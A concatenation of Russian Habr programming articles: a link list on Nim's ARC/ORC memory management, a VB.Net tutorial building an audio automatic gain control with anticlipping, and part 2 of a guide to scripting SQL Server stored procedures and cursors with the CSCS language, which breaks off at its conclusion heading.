* [Introducing --gc:arc](https://forum.nim-lang.org/t/5734)
* [Update on --gc:arc](https://forum.nim-lang.org/t/6549)
* [New garbage collector --gc:orc is a joy to use.](https://forum.nim-lang.org/t/6483)
* [Официальная документация по деструкторам и семантикам перемещений](https://nim-lang.org/docs/destructors.html)
* [FOSDEM 2020 — семантики перемещений для Nim](https://www.youtube.com/watch?v=yA32Wxl59wo)
* [NimConf 2020 — Nim ARC/ORC](https://www.youtube.com/watch?v=aUJcYTnPWCg)
* [Сообщество Nim'а](https://nim-lang.org/community.html)
* [RFC: Объединить опции GC/управления памятью в Nim](https://github.com/nim-lang/RFCs/issues/177) | https://habr.com/ru/post/523674/ | null | ru | null |
# Программируем AGC (авторегулятор громкости) на VB.Net
Статья предназначена для начинающих аудиофилов, желающих разобраться как работает автоматический регулятор громкости (он же AGC и АРУ). Сразу предупреждаю, что речь не пойдёт о том, как получить звук с микрофона или выставить уровень записи звуковой карты. Входные данные будем брать из файла, да ещё и в сыром виде. Если после этого осталось желание своими руками сделать пародию на давно изобретённый велосипед и испытать пионерский восторг открытия, то поехали!
Теория
======
Общие принципы
--------------
Задача, по сути, весьма проста: измерить текущий уровень громкости, вычислить требуемый коэффициент усиления и умножить на него текущее значение входного сигнала. То самое, которое следует с частотой 44.1 кГц или тому подобной. Для удобства вычислений максимально возможное значение сигнала примем за единицу. Если хотим всегда усиливать до максимальной амплитуды, то вычисление коэффициента усиления сводится к **k = 1/v**, где **v** – текущий уровень громкости, а **k** это и есть коэффициент усиления. Это ясно, а как вычислить **v**? Посмотрим, как это делает готовый AGC. Вот его блок-схема:
Вычислением действующего в данный момент уровня громкости занимаются первые три блока. **Лирическое отступление**Некоторые блоки нарисованы как «чёрные ящики», потому что устройство их аппаратных аналогов мне неизвестно. Например, диодный мост в качестве выпрямителя не годится хотя бы потому, что не позволяет соединить землю входа напрямую с землёй схемы. Но для нас это не важно, потому что наш AGC программный. Продолжаем. Допустимые значения **v** у нас от 0 до 1, так? Нет. Мы же будем на него делить, а на 0 делить нельзя! Поэтому надо ввести какой-то максимальный коэффициент усиления **kmax**, например 100, который будет действовать в минуты тишины. То есть допустимые значения **v** у нас будут от **1/kmax** до 1. От 0.01 до 1 то есть.
Теперь вспоминаем, что входные значения колеблются в пределах от -1 до 1. Отрицательные значения нам для **v** не нужны, поэтому превращаем их в положительные с помощью выпрямителя. Если на выходе выпрямителя получается значение меньше 0.01, то исправляем его на 0.01. Этим занимается ограничитель.
Теперь самое интересное. Входной сигнал колеблется в широком диапазоне частот. После выпрямителя и ограничителя этот диапазон расширился ещё больше. А нам надо, чтоб AGC работал плавно, допуская резкие скачки **k** только в моменты, когда на входе неожиданно оказался громкий звук. В остальных случаях ни к чему нам высокие частоты колебаний **k**. Будем от них избавляться. «Что? Занырнём в ряды Фурье? Ой ёооо!» — негодует юный читатель. Без паники! Для нашей цели годится и более простой способ. Если бы наш AGC был аппаратным, то мы бы применили сглаживающий конденсатор. А математическое воплощение конденсатора это экспоненциальное затухание. Вот как это работает. Обозначим значение на выходе ограничителя буквой **u**. Также нам понадобится предыдущее значение **v**. Если **u > v**, то делаем скачок: **v = u**; в противном случае тихооонечко подтягиваем **v** к **u**: **v = v — b \* (v — u)**. Вот это **b** как раз и определяет, насколько тихонечко мы подтягиваем. Оно лишь немного больше нуля, поэтому с каждым шагом мы будем уменьшать **v** на мизерную величину. Вычислить **b** можно ещё до начала работы AGC вот так: **b = 1 — 10 ^ (-1 / (sr \* rt))**, где **sr** – частота дискретизации входного сигнала (44100 Гц или тому подобная), **rt** – приблизительное время реакции (настраиваемый параметр, default 10 секунд). Иными словами, если после громкого звука будет **rt** секунд тишины, то **v** за это время так подтянется к **u**, что разница между ними уменьшится в 10 раз. Так у нас получился асимметричный фильтр низких частот (АФНЧ). Асимметричный потому, что на повышение **u** он реагирует мгновенно, а на понижение откликается медленным поползновением. Время реакции 10 секунд значит, что фильтр подавляет частоты выше 0.1 Гц и пропускает остальные. Это, конечно, *очень грубое* утверждение, на самом деле чёткой границы фильтрации нет. Тем не менее, частота 0.1 Гц находится далеко за пределом слышимого диапазона, то есть щелчки выпрямителя почти не будут проникать сквозь фильтр и раздражать стандартного слушателя. Но только когда нет скачков.
Clipping
--------
Теперь рассмотрим подробнее, что происходит во время скачков. Обычно они длятся несколько сэмплов подряд. Всё это время асимметричный «клапан» фильтра открыт, и коэффициент усиления резко подстраивается под непривычную громкость. В результате значения этих нескольких сэмплов упираются в «потолок» и искажается форма звуковой волны. По-английски это называется clipping, а на слух воспринимается как хрип. Вот как это выглядит в звуковом редакторе:
Anticlipping
------------
Можем ли мы как-то бороться с clipping'ом? Да. И поможет нам в этом то, что наш AGC будет работать не в реальном времени, а над заранее записанными данными. Обнаружив скачок, мы запросто вернёмся назад во времени и исправим коэффициент усиления для нескольких предыдущих сэмплов. Как далеко надо возвращаться назад? До первого перехода значения входного сигнала через 0. На картинке этот момент показан белой стрелкой. Почему он самый подходящий? Да потому, что усилитель будет умножать 0 на **k**, от перемены мест множителей произведение не меняется, а умножение на 0 даёт 0. То есть резкое падение **k** сгладится естественным образом, а слушателю покажется, что наш AGC подглядывал в будущее (хотя фактически он изменял прошлое) и в момент перехода через 0 заранее знал, что дальше последует скачок. Как это выглядит в звуковом редакторе – увидим, запустив программу. Пора переходить к практике!
Практика
========
Строить будем под Windows на VB.Net, поэтому первое, что нам понадобится, это Visual Studio. Я использовал Visual Basic 2010 Express. Кому больше нравятся другие средства разработки, те, зная теорию, легко переделают программу по своему вкусу.
Формат данных
-------------
Второе, что нам нужно, это входные данные. Сырые, в формате 16 bit [PCM](http://ru.wikipedia.org/wiki/%D0%98%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%BD%D0%BE-%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F). Файл такого формата представляет собой последовательность ничем не разделённых 16-битных целых чисел со знаком. Числа записаны в [стиле](http://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B1%D0%B0%D0%B9%D1%82%D0%BE%D0%B2) Intel: сначала младший байт, за ним старший (при этом порядок битов в самих байтах не перевёрнут). Каждое такое число хранит значение входного сигнала. 32767 соответствует 1, -32767 это -1, ну а 0 он и есть 0. А -32768? Пусть тоже будет -1 – невелика погрешность. Вот один из способов получить такой файл:1. Создать в звуковом редакторе файл в формате Windows PCM wav, 16 bit per sample, моно, без сжатия. Ещё надо отключить сохранение всякой дополнительной информации, не имеющей прямого отношения к звуку (если у нашего звукового редактора есть такая опция).
2. Отрезать от файла первые 0x2C байта. Это заголовок. Убедиться, что осталось чётное число байтов, у нас ведь 2 байта на сэмпл.
3. Изменить расширение файла на pcm.
Или можно затереть заголовок нулями – AGC будет думать, что это тишина. Или слегка усложнить программу, чтоб она тупо копировала первые 0x2C байта из входного файла в выходной. Тогда уже можно будет скармливать ей сам wav, не преобразуя в pcm. Но это мы оставим на светлое будущее, а сейчас у нас входные данные вот такие:
Это человеческая речь, в которой одно слово специально запикано громким актом цензуры. Это слово «икс», а вовсе не «хабр».
Буферизация
-----------
И третье, что нам нужно, это какой-нибудь способ хранения небольшого фрагмента данных для anticlipping'а. Одной секунды хватит с запасом, потому что в большинстве реальных аудиосигналов переход через 0 происходит много раз в секунду. Для таких целей есть готовый класс CircleArchive. Его экземпляры работают по принципу магнитофона с кольцевой лентой: на вход можно пихать сколько угодно данных, а при переполнении старые данные затираются новыми. Вот исходник:
**CircleArchive.vb**
```
Public Class CircleArchive
Private InternalCapacity As Integer
Private InternalArray() As Object
Private InternalLength As Integer
Private InternalStart As Integer
Public Sub New(ByVal setCap As UShort)
If (setCap = 0) Then
InternalCapacity = UShort.MaxValue + 1
Else
InternalCapacity = setCap
End If
InternalStart = 0
InternalLength = 0
InternalArray = New Object(InternalCapacity - 1) {} 'need to specify maxindex, not size as the parameter
End Sub
Public Sub AddObject(ByVal ObjectToAdd As Object)
Dim NewIndex As Integer
If IsFull Then
'overwrite the oldest
InternalArray(InternalStart) = ObjectToAdd
InternalStart = (InternalStart + 1) Mod InternalCapacity
Else
NewIndex = (InternalStart + InternalLength) Mod InternalCapacity
InternalArray(NewIndex) = ObjectToAdd
InternalLength += 1
End If
End Sub
Public Function GetObjectFIFO(ByVal Index As Integer) As Object
Dim r As Object = Nothing
Dim TrueIndex As Integer
If ((Index >= 0) AndAlso (Index < InternalLength)) Then
TrueIndex = (InternalStart + Index) Mod InternalCapacity
r = InternalArray(TrueIndex)
ElseIf (Index < 0) Then
Throw New IndexOutOfRangeException("got negative value: " & Index.ToString)
Else
Throw New IndexOutOfRangeException("got " & Index.ToString & " when " & InternalLength.ToString & " item(s) stored")
End If
Return r
End Function
Public Function GetObject(ByVal Index As Integer) As Object 'just an alias for GetObjectFIFO
Return GetObjectFIFO(Index)
End Function
Public Function GetObjectLIFO(ByVal Index As Integer) As Object
Dim r As Object = Nothing
Dim TrueIndex As Integer
If ((Index >= 0) AndAlso (Index < InternalLength)) Then
TrueIndex = InternalLength - 1 - Index 'invert
TrueIndex = (InternalStart + TrueIndex) Mod InternalCapacity
r = InternalArray(TrueIndex)
ElseIf (Index < 0) Then
Throw New IndexOutOfRangeException("got negative value: " & Index.ToString)
Else
Throw New IndexOutOfRangeException("got " & Index.ToString & " when " & InternalLength.ToString & " item(s) stored")
End If
Return r
End Function
Public Sub Clear()
Dim i As Integer
Dim TrueIndex As Integer
For i = 0 To (InternalLength - 1) 'nullify existing items
TrueIndex = (InternalStart + i) Mod InternalCapacity
InternalArray(TrueIndex) = Nothing
Next
InternalLength = 0
End Sub
'Public Sub QuickClear()
' InternalLength = 0
'End Sub
Public ReadOnly Property Capacity As Integer
Get
Return InternalCapacity
End Get
End Property
Public ReadOnly Property Length As Integer
Get
Return InternalLength
End Get
End Property
Public ReadOnly Property IsFull As Boolean
Get
Return (InternalLength = InternalCapacity)
End Get
End Property
'additional features
Public Sub RemoveObjects(ByVal Index As Integer, ByVal Count As Integer)
Dim r As Object = Nothing
Dim TrueIndexSrc As Integer
Dim TrueIndexDst As Integer
Dim TrueCount As Integer
Dim i As Integer
If ((Index < 0) OrElse (Index >= InternalLength)) Then
Exit Sub
End If
If (Count <= 0) Then
Exit Sub
End If
If (Count < (InternalLength - Index)) Then
TrueCount = Count
Else
TrueCount = InternalLength - Index
End If
If (TrueCount = InternalLength) Then 'need to delete all
Clear()
Else 'need to delete part of the items
For i = Index To (Index + TrueCount - 1)
TrueIndexSrc = (InternalStart + i) Mod InternalCapacity
InternalArray(TrueIndexSrc) = Nothing
Next 'nullification loop
If (Index = 0) Then 'the beginning has been deleted
InternalStart = (InternalStart + TrueCount) Mod InternalCapacity 'just move the start position
ElseIf ((Index + TrueCount) < InternalLength) Then 'need array shift
'decide what direction it will be faster to shift
If ((InternalLength - Index - TrueCount) <= Index) Then 'shift the end
For i = (Index + TrueCount) To (InternalLength - 1)
TrueIndexSrc = (InternalStart + i) Mod InternalCapacity
TrueIndexDst = (InternalStart + i - TrueCount) Mod InternalCapacity
InternalArray(TrueIndexDst) = InternalArray(TrueIndexSrc)
InternalArray(TrueIndexSrc) = Nothing
Next
Else 'shift the beginning
i = Index - 1
While (i >= 0)
TrueIndexSrc = (InternalStart + i) Mod InternalCapacity
TrueIndexDst = (InternalStart + i + TrueCount) Mod InternalCapacity
InternalArray(TrueIndexDst) = InternalArray(TrueIndexSrc)
InternalArray(TrueIndexSrc) = Nothing
i -= 1
End While
InternalStart = (InternalStart + TrueCount) Mod InternalCapacity 'move the start position
End If 'array shift direction switch
End If 'the third case is the end has been deleted: we don't need neither start movement nor array shift
InternalLength -= TrueCount
End If '(not) TrueCount = InternalLength
End Sub 'RemoveObjects
Public Sub RemoveFirst(ByVal Count As Integer)
RemoveObjects(0, Count)
End Sub
Public Sub RemoveLast(ByVal Count As Integer)
RemoveObjects((InternalLength - Count), Count)
End Sub
Public Sub InsertObject(ByVal ObjectToInsert As Object, ByVal InsBefore As Integer)
Dim TrueIndexSrc As Integer
Dim TrueIndexDst As Integer
Dim i As Integer
Dim FirstElementBuf As Object
If ((InsBefore >= 0) AndAlso (InsBefore < InternalLength)) Then
If (InsBefore = 0) Then
If (Not IsFull) Then
'no need array shift, just move the start position 1 step backward
InternalStart = (InternalStart + InternalCapacity - 1) Mod InternalCapacity
InternalArray(InternalStart) = ObjectToInsert
'and increase length
InternalLength += 1
End If 'Not IsFull
Else 'need array shift
'decide what direction it will be faster to shift
If (InsBefore > (InternalLength \ 2)) Then 'shift the end
i = InternalLength - 1
While (i >= InsBefore)
TrueIndexSrc = (InternalStart + i) Mod InternalCapacity
TrueIndexDst = (InternalStart + i + 1) Mod InternalCapacity
InternalArray(TrueIndexDst) = InternalArray(TrueIndexSrc)
i -= 1
End While
TrueIndexDst = (InternalStart + InsBefore) Mod InternalCapacity
InternalArray(TrueIndexDst) = ObjectToInsert
If IsFull Then 'the oldest was overwritten, need to move the start position 1 step forward
InternalStart = (InternalStart + 1) Mod InternalCapacity
Else
InternalLength += 1
End If '(not) IsFull
Else 'shift the beginning
FirstElementBuf = InternalArray(InternalStart)
For i = 1 To (InsBefore - 1)
TrueIndexSrc = (InternalStart + i) Mod InternalCapacity
TrueIndexDst = (InternalStart + i - 1) Mod InternalCapacity
InternalArray(TrueIndexDst) = InternalArray(TrueIndexSrc)
Next
TrueIndexDst = (InternalStart + InsBefore - 1) Mod InternalCapacity
InternalArray(TrueIndexDst) = ObjectToInsert
If (Not IsFull) Then
'move the start position
InternalStart = (InternalStart + InternalCapacity - 1) Mod InternalCapacity
InternalArray(InternalStart) = FirstElementBuf
InternalLength += 1
End If 'Not IsFull
End If 'array shift direction switch
End If '(not) InsBefore = 0
ElseIf (InsBefore < 0) Then
Throw New IndexOutOfRangeException("got negative value: " & InsBefore.ToString)
Else
Throw New IndexOutOfRangeException("got " & InsBefore.ToString & " when " & InternalLength.ToString & " item(s) stored")
End If
End Sub 'InsertObject
Public Sub ReplaceObject(ByVal Index As Integer, ByVal NewObject As Object)
Dim TrueIndex As Integer
If ((Index >= 0) AndAlso (Index < InternalLength)) Then
TrueIndex = (InternalStart + Index) Mod InternalCapacity
InternalArray(TrueIndex) = NewObject
ElseIf (Index < 0) Then
Throw New IndexOutOfRangeException("got negative value: " & Index.ToString)
Else
Throw New IndexOutOfRangeException("got " & Index.ToString & " when " & InternalLength.ToString & " item(s) stored")
End If
End Sub 'ReplaceObject
End Class
```
В бой!
------
Запускаем Visual Studio, впопыхах создаём Windows Form Application, наваливаем в окошко кучу элементов управления.
Даже Target Volume успели добавить. Это амплитуда, до которой будем усиливать. Допустимы положительные значения до 1 включительно. Теперь добавляем в проект класс CircleArchive и самозабвенно пишем код.
**Form1.vb**
```
Public Class Form1
Private Structure AGCBufferElement
Public InputPCMVal As Short 'входное значение, взятое из файла
Public OutputPCMVal As Short 'выходное значение, которое собираемся записать в файл
End Structure
Private Sub ButtonAGC_Click(sender As System.Object, e As System.EventArgs) Handles ButtonAGC.Click
Dim InputFileName As String = My.Application.Info.DirectoryPath & "\Input.pcm"
Dim OutputFileName As String = My.Application.Info.DirectoryPath & "\Output.pcm"
Dim InputFileStream As System.IO.FileStream = Nothing
Dim OutputFileStream As System.IO.FileStream = Nothing
Dim NSamples As Long 'количество сэмплов в файле
Dim SampleIndex As Long
Dim OneSecBufIndex As Integer 'поможет нам возвращаться назад во времени для anticlippingа
Dim kmax As Double = Decimal.ToDouble(NumericUpDownMaxGain.Value)
Dim TargetVolume As Double = Decimal.ToDouble(NumericUpDownTargetVol.Value) 'до какой амплитуды хотим усиливать
Dim vmin As Double 'параметр ограничителя
Dim AGCLeap As Boolean 'индикатор скачка
Dim k As Double 'коэффициент усиления
Dim b As Double 'коэффициент затухания
Dim CurrBuf As AGCBufferElement 'текущие значения PCM
Dim PrevBuf As AGCBufferElement
Dim u As Double 'выход ограничителя
Dim v As Double 'выход АФНЧ, это и есть для нас текущая громкость
Dim OneSecBuf As CircleArchive 'поможет нам возвращаться назад во времени для anticlippingа
Dim NegHalfwave As Boolean 'это для нахождения переходов через 0
'открываем файлы
Try
If (My.Computer.FileSystem.FileExists(InputFileName)) Then
InputFileStream = New System.IO.FileStream(InputFileName, IO.FileMode.Open)
OutputFileStream = New System.IO.FileStream(OutputFileName, IO.FileMode.Create)
End If
Catch ex As Exception
End Try
If ((InputFileStream IsNot Nothing) AndAlso (OutputFileStream IsNot Nothing)) Then
'инициализация
vmin = TargetVolume / kmax
b = 1.0 - Math.Pow(10.0, (-1.0 / Decimal.ToDouble(Decimal.Multiply(NumericUpDownSampleRate.Value, NumericUpDownFalloffTime.Value))))
v = vmin
OneSecBuf = New CircleArchive(CUShort(NumericUpDownSampleRate.Value))
InputFileStream.Position = 0
NSamples = InputFileStream.Length \ 2 '2 bytes per sample
'поехали!
For SampleIndex = 0 To (NSamples - 1)
'добываем занчение PCM из файла
CurrBuf.InputPCMVal = CShort(InputFileStream.ReadByte) 'LSB first (Intel manner)
CurrBuf.InputPCMVal = CurrBuf.InputPCMVal Or (CShort(InputFileStream.ReadByte) << 8) 'MSB last (Intel manner)
If (CurrBuf.InputPCMVal = Short.MinValue) Then
CurrBuf.InputPCMVal += 1 'не допускаем выхода за пределы -32767 .. 32767
End If
'преобразуем в Double и сразу выпрямляем
If (CurrBuf.InputPCMVal < 0) Then
u = -CurrBuf.InputPCMVal / Short.MaxValue
Else
u = CurrBuf.InputPCMVal / Short.MaxValue
End If
'прошли сквозь выпрямитель
'ограничитель
If (u < vmin) Then
u = vmin
End If
'прошли сквозь ограничитель
'начинается АФНЧ
AGCLeap = (u > v)
If AGCLeap Then
v = u
End If 'здесь только обработка скачков, затухание будем делать чуть позже
k = TargetVolume / v 'вычисляем коэффициент усиления
'коэффициент усиления готов
If (AGCLeap AndAlso CheckBoxAnticlipping.Checked) Then
'делаем anticlipping: распространяем текущий коэффициент усиления назад во времени до ближайшего перехода через 0
NegHalfwave = (CurrBuf.InputPCMVal < 0) 'сейчас входной сигнал скачет ниже нуля?
OneSecBufIndex = OneSecBuf.Length - 1
While (OneSecBufIndex >= 0)
PrevBuf = CType(OneSecBuf.GetObjectFIFO(OneSecBufIndex), AGCBufferElement)
'находим переход через 0
If (PrevBuf.InputPCMVal = 0) Then
Exit While
ElseIf (NegHalfwave Xor (PrevBuf.InputPCMVal < 0)) Then
Exit While
End If
'если мы всё ещё внутри цикла, то переход через 0 не произошёл
PrevBuf.OutputPCMVal = PrevBuf.InputPCMVal * k 'заново берём предыдущее значение PCM и умножаем его на текущий коэффициент усиления (то есть данные старые, а k уже новое)
OneSecBuf.ReplaceObject(OneSecBufIndex, PrevBuf) 'переписываем результат
OneSecBufIndex -= 1 'движемся назад, поэтому отнимаем, а не прибавляем
End While 'конец цикла сквозь OneSecBuf
End If 'конец anticlippingа
CurrBuf.OutputPCMVal = CurrBuf.InputPCMVal * k 'эта строка и есть усилитель
If OneSecBuf.IsFull Then 'перед сохранением текущего результата надо не забыть записать в файл результат самых старых вычислений, иначе он пропадёт
PrevBuf = CType(OneSecBuf.GetObjectFIFO(0), AGCBufferElement)
Try 'записать в файл
OutputFileStream.WriteByte(CByte(PrevBuf.OutputPCMVal And Byte.MaxValue)) 'LSB first (Intel manner)
OutputFileStream.WriteByte(CByte((PrevBuf.OutputPCMVal >> 8) And Byte.MaxValue)) 'MSB last (Intel manner)
Catch ex As Exception
End Try
End If 'OneSecBuf.IsFull
OneSecBuf.AddObject(CurrBuf) 'теперь кладём текущий результат в OneSecBuf
'сохранили результат, вспоминаем про отложенное затухание АФНЧ
If (Not AGCLeap) Then
v = v - b * (v - u) 'чуть сползшее v будет использовано для следующего сэмпла
End If
Next 'конец цикла сквозь входные данные
'сливаем OneSecBuf
For OneSecBufIndex = 0 To (OneSecBuf.Length - 1)
PrevBuf = CType(OneSecBuf.GetObjectFIFO(OneSecBufIndex), AGCBufferElement)
Try
OutputFileStream.WriteByte(CByte(PrevBuf.OutputPCMVal And Byte.MaxValue)) 'LSB first (Intel manner)
OutputFileStream.WriteByte(CByte((PrevBuf.OutputPCMVal >> 8) And Byte.MaxValue)) 'MSB last (Intel manner)
Catch ex As Exception
End Try
Next 'конец цикла сквозь OneSecBuf
End If 'конец условия успешного открытия файлов
If (OutputFileStream IsNot Nothing) Then
OutputFileStream.Close()
End If
If (InputFileStream IsNot Nothing) Then
InputFileStream.Close()
End If
MsgBox("The end.")
End Sub
End Class
```
Как видно из кода, программа возьмёт файл Input.pcm, лежащий рядом с её exe (кладём его туда если ещё не успели) и создаст там же Output.pcm с результатом работы. Запускаем. Выставляем Falloff Time 10 секунд (это время реакции), Max Gain 20, Target Volume 0.95 (чтоб увидеть во всей красе anticlipping). Не забываем про частоту дискретизации, потому что в файле с сырыми данными она не хранится. Включаем Anticlipping и жмём кнопку. Получился Output.pcm? Конечно да! Преобразовываем его обратно в wav, возвращая на место заголовок, слушаем. Загружаем в звуковой редактор и видим:
Видно как AGC постепенно приходит в себя после оглушительного писка, осторожно возвращая коэффициент усиления к прежнему уровню. В этом процессе главное значение имеет установленное нами время реакции. Теперь посмотрим на фрагмент, который ещё недавно был примером clipping'а.
Это как раз то место, где начинается писк цензуры. Кстати, напоследок ещё немного об anticlipping'е…
Вместо заключения
=================
Наш алгоритм anticlipping'а далеко не оптимален. Обычный скачок, напомню, длится несколько сэмплов подряд. Обрабатывая каждый из них, мы вновь и вновь возвращаемся назад во времени и пересчитываем значительный объём данных, впустую тратя процессорное время. Вместо этого надо возвращаться назад только когда скачок окончен, перед тем, как переходить к затуханию. А уж догадаться, что для этого надо добавить в код, нам не составит труда. | https://habr.com/ru/post/166441/ | null | ru | null |
# Работа с SQL Server в C# с помощью скриптинга. Часть 2
Первую часть статьи читайте [здесь](https://habr.com/ru/company/otus/blog/711866/).
### Хранимые процедуры SQL Server
Вы можете выполнить любую хранимую процедуру SQL Server, используя следующую CSCS-функцию:
```
SQLProcedure(spName, spArguments);
```
Второй параметр является опциональным, если у хранимой процедуры есть аргументы. Давайте создадим хранимую процедуру SQL Server, используя следующую CSCS-функцию:
```
SQLNonQuery("
CREATE PROCEDURE UpdateUser @id int,
@Salary real AS
UPDATE Users SET Salary = @salary
WHERE ID = @Id");
```
Этот код обновляет зарплату для конкретного пользователя в базе данных. Для запуска этой хранимой процедуры можно использовать следующую CSCS-функцию:
```
SQLProcedure("UpdateUser", 6, 74550);
```
Вот и все! В результате запуска этого оператора, шесть будет преобразовано в целое число, а 74550 — в действительное, после чего будет выполнена хранимая процедура, но все эти детали, связанные с привязкой и преобразованием параметров, скрыты от пользователя CSCS-скрипта (в отличие от их привязки при непосредственном использовании C#)
> Типы параметров будут выведены и привязаны к SQL в рантайме — об этом позаботится Scripting Engine.
>
>
Давайте рассмотрим немного более сложный пример. Более сложный из-за задействованных в нем структур данных. Сначала создайте кастомный тип данных для таблицы с пользователями:
```
SQLNonQuery("
CREATE TYPE [dbo].[UserType] AS TABLE(
[FirstName] [varchar](255) NULL,
[LastName] [varchar](255) NULL,
[Email] [varchar](255) NULL,
[Salary] [real] NULL )");
```
Теперь давайте создадим хранимую процедуру, использующую этот тип:
```
SQLNonQuery("
CREATE PROCEDURE InsertUsers @tableusers UserType READONLY AS
INSERT INTO Users (FirstName,LastName,Email,Salary)
SELECT [FirstName],[LastName],[Email],[Salary] FROM @tableusers ");
```
Аргумент этой процедуры относится к определенному типу пользователя, который является более короткой версией таблицы Users (без параметров ID и Timestamp, которые будут добавлены в таблицу Users автоматически).
Чтобы связать эту SQL Server таблицу с CSCS-данными, используйте список списков (или двумерный массив), о котором мы говорили ранее. Вот как выглядит заполнение такого списка и выполнение этой хранимой процедуры из CSCS-кода:
```
data = [];
data.Add(["Juan Pablo", "Uno", "new1@one.com", 49000]);
data.Add(["Ivan Drago", "Dos", "new2@one.com", 48000]);
data.Add(["Johhny", "Tres", "new3@one.com", 47000]);
SQLProcedure("InsertUsers", data);
```
Как видите, в списках CSCS могут быть записи разных типов. Затем CSCS Engine привяжет соответствующий тип, как определено в `UserType`.
В результате три новых записи будут внесены в таблицу Users в одном SQL-операторе.
### Курсор SQL Server
Давайте рассмотрим еще один пример: реализация курсора SQL Server в CSCS.
Первый шаг — инициализация. Он состоит из инициализации строки подключения SQL Server. Одна и та же строка будет использоваться для всех последующих вызовов SQL (смотрите выше, как ее инициализировать) и для инициализации курсора SQL Server именем таблицы или определенным select-оператором. Если используется имя таблицы, то возвращаются все строки таблицы. Вот примеры инициализации курсора:
```
id = SQLCursorInit("Users");
id = SQLCursorInit("SELECT Email,Salary FROM Users WHERE Salary > 50000");
```
Метод `SQLCursorInit()` возвращает базовый ID курсора, который будет использоваться для всех последующих вызовов курсора.
Чтобы получить доступ к каждой последующей записи, вызовите функцию `SQLCursorNext()`. Ниже приведен пример работы с курсором SQL Server с использованием CSCS:
```
id = SQLCursorInit("
SELECT Email,Salary FROM Users WHERE Salary > 50000 order by Salary");
count = SQLCursorTotal(id); // возвращает 3
current = SQLCursorCurrentRow(id); // возвращает 0
next = SQLCursorNext(id); // возвращает [dei@my.ch, 65000]
next = SQLCursorNext(id); // возвращает [joan@my.es, 74000]
next = SQLCursorNext(id); // возвращает [juan@gmail.mx, 75000]
next = SQLCursorNext(id); // возвращает пустую строку
current = SQLCursorCurrentRow(id); // возвращает 3
SQLCursorClose(id);
```
`SQLCursorCurrentRow` возвращает указатель на текущую запись. Сразу после инициализации курсора он равен 0. Он увеличивает свое значение при каждом вызове `SQLCursorNext()`. Когда будет достигнуто значение, равное общему количеству записей (возвращаемому функцией `SQLCursorTotal()`), записей больше не остается. После этого курсор можно закрыть — `SQLCursorClose()`
Обратите внимание: поскольку CSCS — это язык с открытым исходным кодом, вы можете легко изменить имя каждой CSCS-функции (функции, которые я использую в этой статье, определены в файле [Functions.SQL.cs](http://functions.sql.cs/)). Таким образом, вы можете сделать свой скриптинговый интерфейс настолько интуитивным, насколько пожелаете.
> GUI всегда интуитивно понятен тем, кто его разрабатывает. – Майя Элхалал (Maya Elhalal)
>
>
### Как работает CSCS
CSCS-скриптинг основан на алгоритме Split-and-Merge, хорошо описанном [в этой статье CODE Magazine](https://www.codemag.com/Article/1607081/). Здесь я ограничусь лишь очень кратким пересказом.
На вход алгоритм получает строку, в которой удалены все комментарии, последовательные пробелы, новые строки и т. д. (если только они не заключены в кавычки). Затем алгоритм выполняет всего два шага.
На первом шаге создается список токенов. Каждый токен состоит из строки или числа и действия (action), которое будет к нему применено. Разделителями токенов являются математические операторы ('+', '-', '*', '/', '=', и т. д.),* круглые скобки и некоторые другие специальные символы. Извлеченный токен может быть любым числом, строкой или функцией. Если извлеченный токен является функцией или выражением в круглых скобках, весь алгоритм рекурсивно применяется для вычисления этой функции или значений в круглых скобках (и ко всем аргументам функции).
Все функции должны быть зарегистрированы в Parsing Engine (парсер). Если извлеченный токен является функцией, его значение сразу оценивается путем вызова соответствующего метода `Evaluate()`. Как это делается и пример реализации функции вы увидите в следующем разделе.
На втором шаге происходит слияние полученного списка токенов. Обратите внимание, что последний элемент этого списка всегда имеет действие null. В случаях, когда скрипт состоит всего из одной функции, слияния не требуется: в качестве ответа возвращается последний результирующий элемент (или может вообще ничего не возвращаться, если вызванная функция не возвращает никакого значения). В противном случае вы непрерывно объединяете два крайних левых элемента в один, применяя действие элемента слева, если его приоритет не ниже приоритета действия элемента справа. Если это не так, вы объединяете элемент справа с его правым соседом (и так далее, рекурсивно), а затем повторяете попытку слияния левого элемента и только что полученного правого. Элемент, полученный в результате слияния двух элементов, будет иметь приоритет над элемента справа. В конце концов, вы получите список всего с одним элементом, который и будет конечным результатом.
Давайте посмотрим на пример вычисления выражения `10 - 3 * 2`. Первый шаг формирует из него список токенов вместе с их действиями: `(10, -)`, `(3, )` и `(2, null)`. Последний токен всегда имеет действие null с самым низким приоритетом.
Поскольку приоритет `-` ниже приоритета `*`, вы не можете сразу объединить первый и второй элементы списка, поэтому вам нужно сначала объединить следующие токены справа. Приоритет выше приоритета действия null, поэтому вы можете объединить ячейки `(3, *)` и `(2, null)`. Результирующая ячейка будет `(3 * 2, null) = (6, null)`. Теперь вы возвращаетесь и объединяете ячейки (10, -) с новой ячейкой `(6, null)`. Результирующая ячейка будет `(10 - 6, null) = (4, null)`, а окончательный ответ будет `4`.
### Расширение и изменение CSCS
Расширить или изменить функциональные возможности CSCS-скриптов несложно. Для реализации новой функции в CSCS требуется выполнить всего два шага:
* Реализовать новый класс с методом `Evaluate()`, наследующий класс `ParserFunction`.
* Зарегистрировать этот новый класс в CSCS Parser Engine.
Давайте посмотрим, как это сделать с помощью относительно короткой функции `SQLNonQuery()`. Во-первых, вот класс, реализующий это:
```
class SQLNonQueryFunction : ParserFunction
{
protected override Variable Evaluate(ParsingScript script)
{
var args = script.GetFunctionArgs();
var stmt = Utils.GetSafeString(args,0);
int result = 0;
var sp = SQLQueryFunction.GetParameters(args);
using (SqlConnection con = new SqlConnection(CSCS_SQL.ConnectionString))
{
using (SqlCommand cmd = new SqlCommand(stmt, con))
{
if (sp != null)
cmd.Parameters.AddRange(sp.ToArray());
con.Open();
result = cmd.ExecuteNonQuery();
}
}
return new Variable(result);
}
}
```
Теперь зарегистрируем этот класс в Parsing Engine следующим образом:
```
ParserFunction.RegisterFunction("SQLNonQuery", new SQLNonQueryFunction());
```
Этот вызов обычно выполняется в `Init()` во время запуска системы (например, в `Interpreter.Init()` в файле Interpreter.cs).
### Заключение
